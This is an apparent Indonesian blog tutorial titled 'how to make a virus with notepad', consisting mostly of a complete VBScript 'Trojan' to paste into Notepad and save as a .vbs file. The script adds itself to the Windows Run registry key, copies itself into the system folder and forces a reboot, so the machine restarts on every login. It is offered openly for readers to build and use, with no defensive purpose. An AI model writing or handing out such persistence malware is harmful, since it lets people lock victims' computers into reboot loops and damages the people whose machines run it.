cara membuat virus dengan notepad

cara membuat virus dengan notepad ?? mungkin salah satu sobat bertanya bertanya seperti itu. nah pada kesempatan kali ini saya ingin memberitahukan kepada sobat sobat sekalian tentang bagaimana cara membuat virus trojan dengan notepad. sobat sekalian pernah engga pcnya terserang virus tentunya saja sobat pasti kesel donk.. saya juga pernah mengalaminya sampai sampai pc saya harus di install ulang karena virus telah masuk ke dalam windows system 32 saya.. hehe curhat

langsung aja nii sobat apabila sobat ingin membuat virus dengan notepad adapun langkahlangkah sebagi berikut :

1. buka notepad

2. jika sudah lalu copy lah kode dibawah ini :

rem - dlRB "DL Reboot" Trojan script by D.L.

On Error Resume Next

dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")

set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)

set regEdit = CreateObject("WScript.Shell")

regEdit.RegWrite regKey,regVal

end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")

generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)

setFile()

fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)

procreateCopy.write fixedCode

procreateCopy.close

rebootSystem()

function setFile()

fileData="rem - ^dlRB^ by D.L." &vbcrlf& _

"strComputer = ^.^ " &vbcrlf& _

"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _

"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _

"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _

"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _

"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _

"ObjOperatingSystem.Reboot()" &vbcrlf& _

"Next"

end function

function rebootSystem()

strComputer = "."

Set objWMIService = GetObject("winmgmts:" _

& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _

("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot()

Next

end function

3. jika sudah lalu save dengan format .vbs

sebagai contoh saya menyimpan file dengan nama  akuvirus.vbs